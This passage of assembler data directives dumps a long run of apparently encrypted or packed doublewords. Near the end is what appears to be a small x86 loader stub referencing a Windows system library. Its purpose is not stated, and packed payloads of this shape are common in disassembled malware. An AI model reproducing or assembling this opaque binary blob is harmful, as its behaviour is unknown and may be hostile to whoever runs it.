76BF4BF4h, 0E3624719h dd 175D4FD2h, 1C610000h, 0B4C7C823h, 4C337C97h, 0DEAB94FFh dd 79050A65h, 0A547A3CAh, 0CA25226Ch, 7F96B5C5h, 92FD4632h dd 0D64DFADh, 0D3E7B5C2h, 46411257h, 5779090h, 0A65B4C3Ah dd 0D9EAFBDAh, 171E46h, 0E05B2200h, 54F39889h, 0BC8BF43Dh dd 221D6C55h, 8BB8C6CBh, 2D660660h, 868BE261h, 0F33C57F4h dd 6E53BA85h, 3CA251Eh, 5792A676h, 0D3874112h, 28525F53h dd 0D0BCC51Bh, 77051277h, 177590CCh, 3AF2175Ch, 49183AB5h dd 0BBCF5D82h, 5E41183Ah, 0A508015Fh, 0C547E14Ah, 8FBCCF0Eh dd 0BBDC1F5Eh, 6FBB7156h, 8241183Ah, 853F52Bh, 0F54F3A29h dd 707624C6h, 0C1BEE687h, 2478C7B4h, 95F24132h, 537E3F2Ch dd 0B3E1E779h, 0E5F5CE5Eh, 359AE1F4h, 352C5367h, 92F7C6E8h dd 352CCE1Ah, 498823E8h, 57D35730h, 0DAB1DA85h, 6E656786h dd 0F0F86E9Bh, 5D9C2872h, 0B2DAD73Ch, 8375889h, 0A24498DBh dd 0E6135C20h, 101D7A31h, 5FB8D36Ch, 0C61A2952h, 8076D1BBh dd 46A57605h, 40C05F68h, 44000016h, 0BAE70E39h, 161B72D1h dd 8EB3DA69h, 0F82940FBh, 685EA996h, 3F4F88h, 75D2B8E9h dd 0D863151Ah, 43FC80B1h, 0C4582128h, 411256B4h, 0E86DB559h dd 473A3BC0h, 3A4B0A5Ah, 5B648847h, 0D6E6473Ah, 0CB473A1Bh dd 0BF086C1h, 52FBDA86h, 15EDFE41h, 8CF10000h, 245758B3h dd 0BCC3CC27h, 4E3B648Fh, 0E9959AF5h, 3537335Ah, 5AB592FCh dd 0CF262555h, 628DB6C2h, 9DF44F3Dh, 43970552h, 0B6411256h dd 525F00E0h, 0AFCE1F2Ch, 276C6771h, 0E9909DC2h, 1778025Eh dd 0F849183Dh, 9834C5B5h, 3001F5B8h, 159A29h, 64DFAE00h dd 0C877040Dh, 300F70A1h, 0A6A1E8D9h, 0F3C424Fh, 0A9E282E4h dd 20F66E5h, 7FA0CB78h, 0EAD73E09h, 874E99A2h, 56EE3AF2h dd 4F034112h, 3A0577D7h, 81B8C4E9h, 0DF1E4FF8h, 1C5FEC92h dd 8CEC15CFh, 0F3D80845h, 2BAD51h, 0E8750000h, 473A3BC4h dd 6188B3D9h, 51793318h, 0C4473A3Bh, 0B011ABE9h, 51470FB6h dd 0AEC3102Bh, 0F23162E1h, 0DC2370B3h, 1523h, 3A057706h dd 4DBF64DDh, 0C9B55B43h, 3A840753h, 80C3EA47h, 18CB095Ch dd 5DFEAECBh, 0EA4918A5h, 2F60DBADh, 87B2EE59h, 0BFCDD34h dd 0F61F1DFh, 0D7015F10h, 4DB2D71Ch, 0A264B468h, 22894118h dd 86672CFEh, 45684F3Ah, 0DD0E6324h, 9F6B4FE0h, 0EE0D5EE9h dd 86D24AAFh, 6B4B7ECEh, 8CC91C40h, 23206AA7h, 7ECE2971h dd 0B3E1CC4Bh, 0D33A0976h, 0FF0BE1C6h, 124B7ECEh, 0CEDBEFBDh dd 7F3E4B7Eh, 3546E03Ch, 2A4B7ECEh, 0ABA2EC61h, 0F02564E3h dd 301572B5h, 7ECE2C7Ch, 50CCC14Bh, 4B7ECE08h, 518FCEEDh dd 0C37A010Eh, 185B88B7h, 1467B4D9h, 3FEDD237h, 4B7ECEEBh dd 61DEA10Eh, 0AA99E12Eh, 0C7E63A79h, 0D35197A0h, 0A2709BA8h dd 45AEE6AFh, 2CD0Ah, 0AB581000h, 0F0251E6Ah, 301572B5h dd 77AD96E3h, 185326D5h, 32EACF49h, 411822E6h, 3CE90A4Fh dd 31F5A7h, 0F3BA77ADh, 41FE8DA2h, 0B4C4D126h, 5F2C558Bh dd 0D13E87E0h, 21A9D98Ch, 0E008E405h, 15411891h, 91237AA6h dd 4118E14Dh, 0AC88E04Dh, 220760DFh, 18813E4Ah, 0A8D6D341h dd 0DB04589Bh, 0A4C50AF9h, 76821A7Fh, 9B411881h, 0BD3ACC10h dd 8A4F3AEBh, 0E43FC8Dh, 0A59CC07Bh, 0E6A8C516h, 86F30059h dd 174D68BDh, 7D1AEBCCh, 6D50E506h, 5D214894h, 4E0454C8h dd 0C2E94B7Eh, 74825283h, 6D4B7E4Eh, 0E35C2C21h, 0E33073B2h dd 5D8EBDCEh, 59DB1D1Ah, 85C90833h, 0AAD450A8h, 85177C9Dh dd 4B7E4E75h, 4E9CAC40h, 3A714B7Eh, 74D3B805h, 9FC50427h dd 63166374h, 34688BD8h, 85E23122h, 5C244017h, 0D506B545h dd 2F1C63B0h, 5861BFFEh, 0EC790534h, 5CABE830h, 6FAE0D55h dd 55BCFF3Eh, 0C227206Ch, 2478C3B5h, 0AB277301h, 0CA27555Ch dd 870676AEh, 0B19FDC1Dh, 274E8191h, 8AB9C5D2h, 0BBC61A59h dd 0D2273D0h, 559CC17Eh, 0D7B09CDCh, 870EAD4Ch, 44347D26h dd 558BAAFBh, 89E05F2Ch, 8DAAF875h, 0B2DD3Fh, 77450000h dd 0F8433607h, 44988ABh, 0F6029AFFh, 1B473A3Bh, 59254C90h dd 0FF808DEAh, 0AEC91C40h, 0A1ED47A1h, 0B6AB4BA2h, 0CF51F3D7h dd 2EF9A76h, 0FD23BB19h, 7B50h, 577FE00h, 0B8C4E93Ah, 97056A8Fh dd 473A3B43h, 8CD907B6h, 84F70465h, 589099C7h, 77D4A7F4h dd 90D90726h, 1A3853ECh, 51F3D767h, 4B72h, 0AB58D800h dd 0F627246Ah, 32117AB7h, 6683C2E1h, 1851E1B6h, 0EB811649h dd 411821DFh, 49367B32h, 0DA6ABBFAh, 4118218Ah, 3566E197h dd 7BA897F8h, 62C820D1h, 0A2E503CEh, 4BD1BDAFh, 0DD0Ah dd 1B60AD00h, 0CCB2FF2Ch, 4CE03C7Fh, 206AAB58h, 70B3F223h dd 0AA99AE17h, 41EA1DF1h, 9C99FE13h, 0EE0350EFh, 306CAF9Ch dd 18DFA996h, 46FD4649h, 0E0EE48Dh, 9E1D1448h, 800B084Dh dd 6C01B679h, 83C23B94h, 0D867145Dh, 4CFB80B1h, 9AA9D21Fh dd 0C7212E49h, 5B2F1E6Dh, 3D7CBFECh, 164D00D2h, 57A44BD0h dd 55F82423h, 65h, 66A958FDh, 6CBF6B01h, 1B921173h, 0CD5505FEh dd 64112A5Fh, 0B4E834AEh, 55277491h, 0C014B6EAh, 0DDC73A05h dd 2B4095B2h, 75B0E55Eh, 0ACF14E3Ch, 0D5599F92h, 68111E7Bh dd 7B1723F9h, 0B3FAC73Ah, 0A3C52C70h, 0B6CB3AEh, 732CA991h dd 0C8218C91h, 5784C3CBh, 1139F314h, 4473A7Bh, 0F5686BA9h dd 0Eh, 7FA559h, 0E7340000h, 4766B794h, 525F4519h, 0A6C3112Ah dd 0F4396AD9h, 0E65FB887h, 0BF6DAB09h, 473A086Bh, 90562F8Eh dd 0A5AEF249h, 0B384754h, 46DFACD5h, 3AEF82D6h, 0B447747h dd 5687C681h, 97F03736h, 0B49F29Ah, 0B8EF22F2h, 7F009173h dd 5283C0CEh, 6E83D013h, 9EF22320h, 33111553h, 621F32B6h dd 7751F307h, 0BF9h, 5B6F3D62h, 0FA473AE3h, 1F9FE29h, 89241D0Eh dd 421FCEECh, 326EFFDCh, 62A55862h, 272A6331h, 0B920BF9Fh dd 0A355083Fh, 4A60C848h, 0AE000000h, 206CA558h, 5E83E427h dd 613B2A51h, 473A3B59h, 62BEF1BCh, 3A3BB0D8h, 0ADEC6547h dd 9BA4D5F4h, 0F5522B4Ah, 0F724673Eh, 0E739AB25h, 0D724B5DFh dd 3477A4A3h, 0A0E701E8h, 0A87FC6ADh, 84C3B7C4h, 45C81457h dd 25Eh, 27525FCDh, 70ACCF1Ch, 7A206766h, 577FA52h, 0FFDA603Ah dd 0CF5DC8B2h, 473A3BBBh, 0C01C5F5Eh, 0CFF79A2Ch, 21E254F3h dd 28000000h, 0B862A558h, 3BBACD5Fh, 8E8B473Ah, 231E4201h dd 0C75FD288h, 633B0877h, 31A59AB2h, 89000000h, 0B862A558h dd 1E2D525Fh, 63DCA0CDh, 0F9DFC20h, 473A3BFCh, 3F7C9D1Eh dd 16AEF24Dh, 877C75Fh, 0E65F633Bh, 0B99512E5h, 2A549D28h dd 0A77FC71Dh, 14485BE8h, 720714DEh, 3B5984C9h, 58B390FEh dd 0F01A2557h, 6882C1CDh, 42CA2ED3h, 2F7B8F1Dh, 216EEC64h dd 0EF901D22h, 0A6C31150h, 84896DD6h, 5E274FF8h, 0C6228F53h dd 69031E6Eh, 0EC642F41h, 0DA0B3444h, 7519A69Bh, 276685D6h dd 810B06E4h, 2FFC0CE0h, 9A11EC64h, 800E335Bh, 642F0152h dd 5BD136ECh, 0EC642F0Fh, 0F486CBE2h, 0B9E70657h, 2AC12D80h dd 7B012345h, 7EC722C0h, 7CAED6FEh, 0CFEA364Eh, 0BA5380BFh dd 85E36E3Ch, 960DFAFh, 0A897E330h, 43F4D74h, 0FDDBA3EEh dd 0EC6462AAh, 2A0F6843h, 0FFA19EEDh, 0EC6462ABh, 0DB966F4Eh dd 378A0365h, 0FD02429Eh, 0E2B32B9Ch, 0B55E41CDh, 0CE66826Fh dd 0ACE185BEh, 0A60F67E0h, 340F7D3Ch, 87C4CAE7h, 0CF290456h dd 0CE2A175Bh, 0F14E317Eh, 165381ACh, 0F439DD66h, 6A57BF88h dd 0C2CF2724h, 385D8EBDh, 64535464h, 0BDF2B9ECh, 0C2172D1h dd 5796C780h, 0FA3048A1h, 0D23ABE43h, 53EB3FEDh, 0A10EEC64h dd 0FA396AD9h, 305C65BBh, 532F7B31h, 821AEC64h, 0EC645376h dd 8C2F109Bh, 5FF1A94Dh, 3B96A27Ah, 307B473Ah, 8CB7C5ECh dd 58FA52D6h, 0DABC66A9h, 5BC6B2FFh, 3A3BB9C1h, 1E515C47h dd 0A272AECDh, 0F3CFF79Ah, 56E254h, 2C950000h, 56E9A8A5h dd 0BA4A966Dh, 0BC66A958h, 3BBACD5Fh, 5853473Ah, 2C525F82h dd 0BB3245A5h, 97D6E032h, 0A2EA2746h, 0EB297499h, 67481E6h dd 774B1B39h, 5F9F4704h, 0C81D2652h, 2B6AD5A3h, 76C09F5h dd 3A3B4595h, 16315847h, 1299A6C5h, 23A536CEh, 89000000h dd 0BC66A958h, 3BBACD5Fh, 555C473Ah, 0DA1D2Ah, 477C75Fh dd 27B29F47h, 0E3A9A4EAh, 0A9E80B58h, 0EDE8DB6Bh, 0A0473A4Ah dd 0FFFD44BDh, 0C4E861FFh, 0F6473A3Bh, 6859B0F7h, 8ECB1827h dd 0B7696935h, 7198907Eh, 0CE0DF525h, 10AAF629h, 473A63C8h dd 0F331B73Ah, 5D5ABF8Ch, 0B3DB142Fh, 0F8244794h, 9758297h dd 0B0DBE63Ah, 69187893h, 8390F526h, 7A014EF9h, 0EEF597CDh dd 8C050C50h, 0F16CA3C5h, 0C40F9D2Bh, 1DAh, 6EDDA2EFh dd 12A2FE3Dh, 1429525Fh, 479DDC6Bh, 3A3B92A5h, 60AFA447h dd 17CE9507h, 7C3F4918h, 0E4632C15h, 32117AB7h, 80BFCCE1h dd 0FD423153h, 779F009Ch, 3D704F3Ah, 966AB24Dh, 0AFB283EFh dd 0DAFh, 1671CAB3h, 8AE56229h, 224DFA85h, 58B38CFDh, 0F1182757h dd 0D0BEF7F9h, 63171873h, 0F4848DE4h, 8DFF204Bh, 0C7905BB2h dd 124E0555h, 0C222E841h, 87157A5Fh, 473A3B73h, 354517A6h dd 0D8473A3Bh, 4596B1DBh, 70B9E726h, 0F04B3D0Ch, 1C4180A3h dd 5BBC03F0h, 21D568C1h, 65822949h, 0A8D66728h, 1B5AE995h dd 168ABCAh, 0B7D06F10h, 0E92D6DCEh, 0FEDFA49Fh, 0FF0E52E1h dd 2C71CAB2h, 8BEC3320h, 252269A6h, 0DD6FB5F0h, 4F305286h dd 0AFB24477h, 0B2EF9039h, 0D159E61h, 64290000h, 0FC8FB0DBh dd 94FB244Fh, 26535CB7h, 0C1CDF21Dh, 5D1F6B82h, 0B2DD6A14h dd 274EFD8Dh, 5AB58EFAh, 0F51C2755h, 6BBF6D0Ah, 8E41124Dh dd 57758C8h, 0F8EBE93Ah, 39DE4EABh, 1E491850h, 1B5AE991h dd 0E4AAE7F0h, 0A9F73667h, 2843FC80h, 0DA3176CFh, 0A5A869E9h dd 0A3661D7Fh, 0FBE9934h, 562A582h, 0E5F7C9BCh, 0FD8CB442h dd 0BCDD0342h, 3E93AE0h, 0E2BA1F4Fh, 4B7098D6h, 5283C0CBh dd 4C8F2E13h, 0A2A1EE2Bh, 0A39464Bh, 5FE894D9h, 0CE15CE0Eh dd 9BACF3A9h, 5A514552h, 6DFFBFACh, 0E27D4EE9h, 0C6Fh dd 0D6310A73h dd 4AA5A2E9h, 0E20D3A45h, 1873CCBDh, 0B1D86717h, 107EB7B9h dd 0A3D7D833h, 34444DA4h, 0CDBFE00Bh, 87D01B72h, 124CC515h dd 82622841h, 1C27525Fh, 68D3B9C0h, 0E52AD93Bh, 28525F84h dd 823C51Bh, 1549184Fh, 39424FA6h, 0D1BEE30Ah, 0F3320D7Ch dd 0AB580298h, 89F60364h, 0B97366BAh, 4918160Eh, 3E7B9C1Fh dd 84A1FF4Ch, 0FE4D327Fh, 267AC9B1h, 181D7084h, 211E6D41h dd 72CDBFFCh, 0C6222F21h, 0F122216Eh, 14DD73B2h, 0B5C0BDD4h dd 0AF154BD1h, 3D000000h, 16470477h, 4095B2D9h, 24074203h dd 9361E52Fh, 0EF0E5FECh, 404970ACh, 0D0B1D607h, 148186D5h dd 17F8A2F8h, 26C439C2h, 8EFD0458h, 8D4656B1h, 0BFFC2146h dd 86207CCBh, 49188CF1h, 55F29926h, 0CF6D6412h, 0BF88F5B7h dd 0B8AA0h, 54EF9E00h, 0B887F43Dh, 201F6051h, 96B1D8C9h dd 0FF4C327Fh, 99D29294h, 0F23F56F5h, 6F50BB88h, 0DAC72E19h dd 0F77E89B2h, 4CFE0AE2h, 7F134112h, 0A27A5FA7h, 473A3B96h dd 0FB44038Bh, 36456CB0h, 0DBA3F009h, 6B463F6Ch, 0D8BB532Ch dd 0AFB0EC2Fh, 5EB0h, 0A8D2DF00h, 8302E29Bh, 0C4E596F2h dd 477C498h, 0FDF61647h, 3976D1B8h, 56B3F251h, 1853D5C6h dd 7F3BA49h, 0F5B88DC4h, 8390011h, 1C00000Bh, 72BFD671h dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h, 4112437Ch dd 7725FD91h, 0C4E93A05h, 56A8FB8h, 3A3B4397h, 17344647h dd 404E832Ah, 0D488DD03h, 0C984CB2Dh, 0EC51F3D7h, 258h dd 2D525F3Ah, 0C603C21Eh, 21468D46h, 1828304Bh, 0B9DEDD49h dd 0E3310E7Ch, 9034B96Bh, 9FA93E9h, 0D5E5B79Ch, 38BE83E7h dd 0E797A375h, 337ABE83h, 0F60597F0h, 27B0A192h, 4E054794h dd 0C2257527h, 0E5C8B8E1h, 35D745A2h, 2CB6C717h, 0F6036881h dd 4A69BA89h, 0A6A1EB16h, 0D1578041h, 7B0B2FE3h, 87F53A25h dd 107FCABCh, 0F1C2F5D9h, 0A426Eh, 0C374600h, 70CFBCE5h dd 0D8672819h, 4EF980B1h, 0B794FA27h, 418A6A5Ch, 0BAE70E3Dh dd 171873D0h, 828FE661h, 3F2641FAh, 42B6C25Ah, 0B75B4112h dd 4704776Fh, 1B2FFD22h, 0FE473A3Bh, 3F4461BFh, 8DE669DAh dd 0B61EE09Ch, 3A9CD2E6h, 28744747h, 54C8352Eh, 473A9C04h dd 339C2E9h, 3C19219Eh, 0D745A2E5h, 49211127h, 2C9E71D2h dd 8EE434E8h, 0A2094113h, 662A6D9h, 2B4C6FDAh, 44AF9CEEh dd 0EAAA2F5Bh, 0E37F1A4Ch, 0F7E0A05Dh, 0F5561314h, 706361B2h dd 9956C623h, 8E4F3140h, 0BDCDCA2Fh, 503A678Eh, 102D96F3h dd 87127E58h, 4E0F6C9Ah, 459DABB5h, 99C40936h, 0CEE33A66h dd 3EF585BEh, 9FEF8F7Eh, 979B38Eh, 8D0000h, 98E32C47h dd 305F40ABh, 0C2B7F813h, 5D216E79h, 0C1A387EEh, 2E390688h dd 43AA99E1h, 0F6112A5Eh, 1178C3C9h, 0CF1B91E6h, 22411242h dd 0AD7FB46Ch, 473A3B95h, 5686E26Fh, 48900C71h, 0AD473A3Bh dd 0CBB8D20Eh, 0C1F1E93Eh, 4E81B4FDh, 0A39CEC29h, 0E3801C7Dh dd 344918A3h, 0FE3B6079h, 696EBF8Ch, 18D167B3h, 0E0238A41h dd 3D0A75BCh, 7811C2D2h, 0BAEFF03Bh, 52B7F64Ah, 3CFCB7DAh dd 8087404Fh, 41FA8E0Eh, 0DE24D11Ch, 21579816h, 6C4FFA26h dd 0A3E9260Bh, 4F3D4498h, 0E8949DF4h, 0C91A2951h, 2C6FD8A4h dd 59C1DEDh, 3809EF93h, 8C621h, 88B3DA00h, 0FC4B3061h dd 64E3AC95h, 0CA75040Dh, 33107EA3h, 0C50EEED8h, 3E638AB9h dd 0AB94FF4Ch, 60B62DDh, 0BBA2CD76h, 413A4EDEh, 3BDF4112h dd 3BC4E8EBh, 0B3D9473Ah, 0FB889B32h, 545C19C2h, 0A6D9A2D0h dd 0ACC706FFh, 2F48974Ch, 18819A7Dh, 0DF387349h, 729DA6D2h dd 5C6C0065h, 0B14118E1h, 0ED9BA6FAh, 5C3E0152h, 0E4000008h dd 364AB58h, 91AED1DEh, 29F3214Ch, 4918178Ah, 0F54E3E7Bh dd 114285A0h, 181F3343h, 0E15A2E41h, 310A7FBCh, 6DBE89F0h dd 8A82E663h, 181FC612h, 41802B41h, 0A0266E3h, 1F237725h dd 9E0E4118h, 41181F4Ah, 78330CAFh, 0B77DF024h, 45584BD1h dd 0C6000001h, 15460177h, 4095B2D8h, 3A4EDE03h, 0DF473A3Bh dd 137980DCh, 0C2B6FB28h, 57216E79h, 0A75DBFECh, 656D3F58h dd 0E8473A3Bh, 305B90C5h, 0DFADC213h, 984E3764h, 8EACB0C8h dd 0F177FA52h, 0BFFE4933h, 0A88CEC95h, 252269E0h, 1B72B5F0h dd 0B4D96216h, 3AA22CF8h, 3DBB2647h, 51B691E7h, 0DB083744h dd 3E1B4498h, 0E908D345h, 2AB7D1D1h, 58B26C4Bh, 1D7FA5E4h dd 2DFF1867h, 473ADA15h, 6360B5F8h, 0DA5A6E3Eh, 0FCBF473Ah dd 52F199A0h, 0C265DE3Bh, 3E10B876h, 433772AEh, 0F29AD704h dd 41300449h, 0CE7D0D27h, 354552A7h, 7AA6C516h, 88F24B3Fh dd 2E4B6ABBh, 3A732A7Eh, 0ADECCF47h, 0F9361B78h, 0D4E4B48Fh dd 39473A73h, 372C2E72h, 861D8FE8h, 0AF49187Ch, 0D43C04D6h dd 89D7DE71h, 0CDF21D90h, 3F5D8EBDh, 399FE45h, 411853FBh dd 70CBB1FEh, 0F99DBA23h, 88068C85h, 9F1E0B49h, 0DD1BC64Eh dd 3851966Fh, 806B4289h, 0B3480646h, 83D14F29h, 0DC371466h dd 0F19996FBh, 32E20152h, 411862E6h, 89B691FBh, 0C7B3FE22h dd 3A292B78h, 0C31894F5h, 544F3A7Fh, 79010E59h, 5956A3CAh dd 0A3CE1231h, 8B036AD5h, 364AB58h, 1723F9DEh, 0FA473A3Bh dd 78DB6DB3h, 5549181Ah, 0C3D03566h, 38428FBCh, 0DFACD50Bh dd 588D0960h, 400166A9h, 580AD52Eh, 0FF0E52C7h, 3AEB192Dh dd 0CC7B0447h, 1D26529Fh, 97D118C8h, 0B434BD93h, 0F30BE09Dh dd 3DF551h, 775D0000h, 0D5224704h, 0D4A9BA4h, 3A3B4B9Fh dd 0CC0FAE47h, 93A77590h, 91473A3Bh, 21492308h, 0D4473A3Ah dd 3ABEBBD9h, 5BB291FAh, 3A17E1C9h, 0D6A47h, 519CC17Eh dd 0FF993403h, 5F1EFFFFh, 0EAAB2A52h, 0AAF014D8h, 204997D6h dd 702D595Ch, 0DFC03B3Bh, 86167B9Ch, 473AF372h, 34C814A7h dd 59216E6Bh, 267AB9EAh, 66A9588Eh, 0FDE65FBCh, 0C6C2FD8Ah dd 74458ED2h, 6A4D9D0Fh, 0B7A0473Ah, 8D788C5h, 0EB296842h dd 0CFF79A5Bh, 3FE254F3h, 28000000h, 0BC66A958h, 3BBDCD5Fh dd 5D50473Ah, 3FE65F81h, 44038B40h, 292899BFh, 773CE6EBh dd 61224704h, 0CB8B90EDh, 0FD91CFD7h, 26F1E65Fh, 0A3F04B3Dh dd 102AFB80h, 0FA12124Eh, 41A5h, 525F8900h, 89C3112Ah dd 5FCF97D8h, 7387157Ah, 0A6473A3Bh, 0EB3FC917h, 0D6473A3Bh dd 7196B5D9h, 3A3B6FBBh, 0F52B8247h, 5FAA7033h, 470477C7h dd 0A27A5F9Fh, 473A3B96h, 0EC307Bh, 0F7503875h, 87715A9h dd 0BBFA4935h, 59206D6Ah, 0C0E8B2EEh, 22473A3Bh, 152E5A57h dd 0F27FA5C0h, 72D1BE76h, 0F1453E1Bh, 3943CF44h, 0ECC0C6BFh dd 867168F8h, 0B209805Ah, 69F4473Ah, 0FFFFF3AAh, 27525FD5h dd 9BDA6912h, 0CCF52B4Ah, 176980BFh, 2F7B315Ch, 0C2473A3Bh dd 424FA8EBh, 91DE0F3Ch, 0E00350EBh, 391E73A1h, 6CB08FFCh dd 183B7DDAh, 0A5B5249h, 183A2A7Ah, 0FB483741h, 6AF785AAh dd 183A66B2h, 0E1208B41h, 53955CBCh, 708871DFh, 0D1D72459h dd 10B14Bh, 63240000h, 472B1C49h, 1DD030Ah, 1A5h, 525F8900h dd 96C01C27h, 1C63B0DDh, 0EDBFFE2Fh, 473A3BDDh, 0DD3A7D30h dd 181F404Fh, 23685549h, 7BB0E524h, 0F2513D10h, 355956B3h dd 3087DCACh, 3C7F64D1h, 60BC8BF3h, 711D1A7Fh, 2D6281D2h dd 0EDBFE562h, 411856E2h, 3B52ED9Bh, 0A0B982F6h, 0CB182753h dd 0B85174A8h dd 0EE0AF72Ch, 0EEF94236h, 1BDADBA1h, 4562CB79h, 65A4A3E8h dd 14EDC822h, 9881AF5Dh, 3178A49Dh, 619AF04Bh, 0A7F45890h dd 0C356BD8h, 7F27C780h, 73CFE79Ah, 0EAF252h, 5F580000h dd 3B96A27Ah, 307B473Ah, 8756BD4Bh, 1E42343Eh, 1DB908FCh dd 3BBACD5Fh, 7D5C473Ah, 3A3B9BAFh, 0FC3F7E47h, 61F12A9Bh dd 9AA2B211h, 7A5FAE46h, 92F43489h, 0F2176625h, 3A55EE3Ah dd 74A80347h, 202CB7D8h, 469AA5D3h, 3A0577AEh, 58D36B60h dd 0DC0166A9h, 3A3B3840h, 82DEDD47h, 5FF551F2h, 33344BE6h dd 0F7E29EB0h, 24B8454Fh, 0B666BA85h, 54F3C0CBh, 390Eh dd 0A9581400h, 0CD5FBC66h, 473A3BBDh, 46018B88h, 0D68C2F1Ah dd 525FC75Fh, 0A7C21E2Dh, 0B2AF77D4h, 0A27A5F9Ah, 473A3B96h dd 17EC307Bh, 3Ah, 9D18142h, 0A0416067h, 0A958A07Ch, 0D81B2468h dd 0B6C25ABFh, 5B473A3Bh, 5F700C50h, 3A3BBDCDh, 865C5F47h dd 47897A5Fh, 0F515FD4Fh, 7723F321h, 0B29F4704h, 0A7A4EA27h dd 0DA5A579h, 89FFFFFFh, 0DD3A0577h, 70CFBBF8h, 8500023h dd 0ED473A3Bh, 0A7F3A9CEh, 4A473A3Bh, 0C3E83D63h, 15678EB9h dd 24F8115Eh, 491843CFh, 0CBBCDDD0h, 6408A936h, 69155A96h dd 0D56786DAh, 41189A81h, 657F09Ch, 76A7A0E9h, 9599DF1Ah dd 0ABDDDABFh, 83E54C90h, 0D137114Ch, 3DA44Bh, 58720000h dd 0F60364ABh, 87C4B782h, 88D41756h, 41A0D349h, 2E8D4918h dd 902F98FDh, 0B12AFA31h, 0BB78A1FAh, 6A76E0C2h, 0ABE95625h dd 1844CD11h, 32B63341h, 0D15C621Fh, 0B1774Bh, 77DF0000h dd 0C4E93A05h, 3B588DBAh, 63B18AFEh, 0D80D3646h, 395EE993h dd 6EB28DFCh, 37DFA365h, 4A32473Ah, 0E3A996F1h, 1AC90B58h dd 8FF8B4D5h, 90491838h, 597FC1Dh, 41182FF5h, 52ED9B18h dd 0B282CD13h, 301572C1h, 7FAC9BE3h, 646E03Ch, 0B4F3C6Fh dd 3162E1AEh, 7156B3F2h, 0C037E090h, 26FB80BFh, 0D31E42E0h dd 4C759CABh, 0AA750542h, 2BEF943Dh, 239071Ah, 404D0000h dd 0D8A3EC07h, 701F006Bh, 277B8D3h, 9DE12E39h, 816347AEh dd 0EEF94648h, 36AD9A1h, 0B6D16A1Eh, 0D1380389h, 8FDB5126h dd 624112BAh, 77774ACh, 9CE0D138h, 58D248A3h, 0DE0364ABh dd 3B1723F9h, 0B3FA473Ah, 41A8DB6Dh, 36854918h, 300757E5h dd 70F94118h, 0D09CD1F8h, 0DE394BD1h, 0E1000000h, 0DD3A0577h dd 4C91AED0h, 85AAF321h, 4B194AF9h, 473A3777h, 4099A2EAh dd 86AE3487h, 25E2854h, 0CEBBF8C1h, 0F033107Bh, 155C80A3h dd 4D8FDC67h, 7C304996h, 49180E73h, 6176911Ch, 0BDDA6514h dd 187ADBEFh, 217F3E41h, 92F73C37h, 3CEE191Ah, 0BFC9F64Fh dd 0FF244584h, 7CC51D2Dh, 0C6B3F04Bh, 0CA0D287Dh, 111E4396h dd 6D88DD6Ah, 0A4E95624h, 701E5B79h, 0C51327F5h, 85F64B7Ch dd 0E95695C6h, 276883C2h, 8B1EE857h, 16EF93A8h, 1453A05h dd 34590000h, 0CCBFE00Bh, 642B147Fh, 0F6838CE7h, 91FD224Dh dd 8D6F5BB2h, 0E20D3A44h, 177ECDBDh, 8AE55E2Ah, 254CF785h dd 0BBCF5D3Ah, 5E4112B9h, 77768B8h, 9CE0D138h, 68DFE2ADh dd 0A7D70242h, 863A2E5h, 0A396E22Fh, 0F62A6DD6h, 0A27A5F5Eh dd 473A3B96h, 90FF307Bh, 1D4362B3h, 4E9FA8D4h, 89E05B21h dd 1277BCB7h, 181ED59Ah, 16733A49h, 0AFC87319h, 0F72D1662h dd 0FD8E8BECh, 1B8787F4h, 0EE216249h, 3A0577B2h, 0ABF8EBE9h dd 0BB16DE4Eh, 0B0FB4F03h, 8FD3C9C6h, 849B94EFh, 0A7h dd 1E69D2BBh, 0B2DD6A11h, 2A45028Dh, 40AB94E5h, 0F9102F5Fh dd 0D8A6EFF1h, 6B1F006Bh, 0FC8CB5DCh, 95E72843h, 0FF9843AAh dd 12B91D2Dh, 0CA5AF041h, 256AAB58h, 0E03B8C9Ch, 2063181Dh dd 1871B0F3h, 21F7E484h, 51822949h, 0B2D7701Ch, 434795D1h dd 0F42829A0h, 6DD6A6EBh, 0B77B6C38h, 58245376h, 771BEEFh dd 4FC8EF3Ch, 0FA770529h, 63D6A67Eh, 82ED2C1Bh, 0AAEEEF9Dh dd 8333629Fh, 0D8154679h, 0CF4596B1h, 3E4EE602h, 0D7A5EA05h dd 0F5DA3F6Ch, 37B51327h, 69B7067Dh, 0A92h, 525F4000h dd 0ABCA1B28h, 772EF075h, 0C3E83D06h, 105D8EB9h, 618EDF68h dd 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h, 0F03D6EDDh dd 696FBC8Bh, 5E08950h, 4, 42Dh, 24048700h, 2434895Ch dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 2B682404h dd 8900002Bh, 0BB532414h, 691446E7h, 0FFFFEB81h, 0F381FFFFh dd 6F3C2125h, 815BD889h, 4ECh, 24248900h, 4240481h, 5A000000h dd 8428F50h, 5A2434FFh, 0FF04C483h, 81582434h, 4C4h, 0FED9E900h dd 0D9A4FFF9h, 6F14BCB2h, 43DB639Dh, 8398B82Dh, 0C5030628h dd 985C650h, 47062233h, 38172568h, 0A9B5FFCFh, 8D062233h dd 223AF185h, 8BD0FF06h, 9D858DD8h, 5006222Dh, 10468h dd 0C6D3FF00h, 22330985h, 0BF685306h, 0FF8307F8h, 2233A9B5h dd 0F1858D06h, 0FF06223Ah, 988589D0h, 83062865h, 221875BDh dd 840F0006h, 0Bh, 0B499D8Bh, 5E90622h, 0BB000000h, 0 dd 10068h, 9CB58D00h, 56062865h, 6195FF53h, 8D062207h dd 28659CB5h, 0E9F00306h, 1, 5C3E804Eh, 9840Fh, 3E800000h dd 0ED850F2Fh, 0C6FFFFFFh, 858D0006h, 628659Ch, 9895FF50h dd 58062865h, 7078E0FFh, 3E9F69B8h, 0D96F0968h, 183E345Eh dd 744701C8h, 0C96725B8h, 757B3FACh, 18D231D9h, 0C5AA2106h dd 6C9B2557h, 6A403AA7h, 0C63F0CB8h, 0C9A0930h, 0FB3C3DFEh dd 0A0CD3A31h, 0D5554848h, 968E00A2h, 0AD8E70B6h, 92B1384Fh dd 0D8745785h, 3D28713Fh, 6B71D5Ch, 8A746A3Eh, 13062492h dd 5FD45493h, 0D7E24150h, 8817313Fh, 0D3CD5A43h, 8E0E145Eh dd 63C022C2h, 2AE92559h, 0D9000000h, 93125ECFh, 9DE61D8Ch dd 6E2E81E8h, 6C6C6474h, 6C6C642Eh, 0BD146700h, 